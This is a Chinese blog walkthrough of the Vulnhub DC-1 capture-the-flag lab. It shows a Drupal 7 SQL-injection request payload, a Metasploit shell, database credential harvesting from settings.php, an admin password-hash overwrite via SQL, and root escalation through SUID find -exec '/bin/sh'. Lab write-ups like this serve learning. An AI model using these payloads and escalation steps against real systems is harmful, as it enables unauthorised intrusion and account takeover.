1. 程式人生 > 實用技巧 >【Vulnhub】DC-1靶機

【Vulnhub】DC-1靶機

一、資訊收集

  1.1 環境

    kali : 192.168.124.141

    DC-1 : 192.168.124.150

  1.2 nmap進行掃描 :nmap -sV 192.168.124.150

IP : 192.168.124.150
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
111/tcp open  rpcbind 2-4
(RPC #100000) MAC Address: 00:0C:29:17:19:2E (VMware) Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.2 - 3.16 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

  發現有22埠 ,先拿hydra爆破發現也沒爆破出來 。

  登入web頁面 看看有沒有有用,發現web指紋。

  搜尋了一下發現Drupal 7.0是存在SQL注入漏洞的,利用burpsuite抓包發到repeater模組,經過證實是可以使用user(),database()等內建函式的,但是後續進行爆表爆欄位發現注入失敗,一直在報錯。

POST /node?destination=node HTTP/1.1
Host: 192.168.124.150
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
Origin: 
http://192.168.124.150 Connection: keep-alive Referer: http://192.168.124.150/ Cookie: has_js=1 Upgrade-Insecure-Requests: 1 pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a

上面手注無果,不過已經是知道有SQL注入漏洞了,看前輩文章提示發現可以利用Metasploit。

kali利用msf過程:

選擇這個存在SQL注入的攻擊模組

run執行,之後獲得一個shell環境

之後執行python指令碼獲得一個類似於terminal環境的shell

當前許可權為www-data ,同時當前目錄下有flag1

獲得flag1:Every good CMS needs a config file - and so do you.

根據提示需要看配置檔案,但是看web.config後沒發現有用的地方,檢視前輩文章,發現需要找類似於settings.php的檔案或者config.php的檔案,那就進行模糊查詢看看。

find -name '*set*.php'

發現應該是 sites/default/settings.php

cat看一下。獲得flag2;獲得MySQL資料庫賬號密碼。

連線資料庫看一下,mysql -u dbuser -p

R0ck3t

進入資料庫,那就脫褲看看 (刺激:) )

就倆庫,應該是drupaldb裡應該有什麼值得鼓搗的東西

發現裡面有個users表,檢視一下表裡的內容

應該是web頁面的登陸賬號密碼,但是密碼進行了特殊加密。此時卡住 Orz

看前輩文章得知需要知道drupal加密的方式,將自己進行加密後的密碼放到資料庫裡,或者直接修改已存在的使用者的密碼。

通過查詢發現:

加密方式檔案為: /includes/password.inc

加密檔案(可執行)為: /scripts/password-hash.sh

利用方式:

執行

./password-hash.sh password

即可獲得加密過的password

PS:此處需要提前將includes目錄全部複製到scripts目錄下才可進行加密

進入scripts目錄,執行:cp -r ../includes ./

加密 123 ./password-hash.sh 123

修改admin使用者的密碼為123:

資料庫中執行

update users

Set pass='$S$Ddw9oMOm2nfFPozoI.HYcdLo6jJIyLQHfmx8shTmNq1m873jzuXr'

where name='admin'; 

修改好後即可用123登入web介面,瞎點了點發現了flag3

flag3:

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

此處提示提到了 shadow檔案 和exec命令

Shadow肯定是沒許可權看了,先看看passwd吧

發現flag4,進入/home/flag4目錄下發現flag4.txt

根據提示,想拿最後flag需要root許可權,所以還是需要提權。

根據前輩提示此處需要進行SUID提權 ,結合之前的flag所以應該是結合find命令和-exec ---Orz

SUID提權原理:如果find本身具有suid的許可權,因此通過find執行的命令就是root許可權。

關於SUID:SUID(Set ownerUserIDup on execution) 是給予檔案的一個特殊型別的檔案許可權。在 Linux/Unix中,當一個程式執行的時候, 程式將從登入使用者處繼承許可權。SUID被定義為給予一個使用者臨時的(程式/檔案)所有者的許可權來執行一個程式/檔案。使用者在執行程式/檔案/命令的時候,將獲取檔案所有者的許可權以及所有者的UID和GID。

SUID提權:

https://www.cnblogs.com/junsec/p/11652723.html

首先執行

find/ -perm -u=s -typef 2>/dev/null 查詢suid檔案

命令解釋:

/表示從檔案系統的頂部(根)開始並找到每個目錄
-perm 表示搜尋隨後的許可權
-u = s表示查詢root使用者擁有的檔案
-type表示我們正在尋找的檔案型別
f 表示常規檔案,而不是目錄或特殊檔案
2表示該程序的第二個檔案描述符,即stderr(標準錯誤)
>表示重定向
/ dev / null是一個特殊的檔案系統物件,它將丟棄寫入其中的所有內容。

利用find命令進行SUID 提權:

利用方式:find ./aaa -exec '/bin/sh'\;

已提升到root許可權,拿到final flag

總結:

0x01:資訊收集,22掃描爆破無果;掃描web指紋發現drupal7存在sql漏洞
0x02:利用metasploit並配合python指令碼彈shell
0x03:依據flag1提示,找到setting配置檔案獲得mysql資料庫賬號;拿到flag2
0x04:根據前輩提示獲取drupal資料庫加密方式新增/修改 獲得web頁面賬號
0x05:在web頁面拿到flag3 根據提示需要利用find -exec shadow等進行進一步滲透
0x06:檢視passwd檔案看到flag4使用者,在home/flag4拿到flag4得知必須要提權至root
0x07:根據前輩的文章提示需要利用SUID進行提權,利用find提權之後拿到最終flag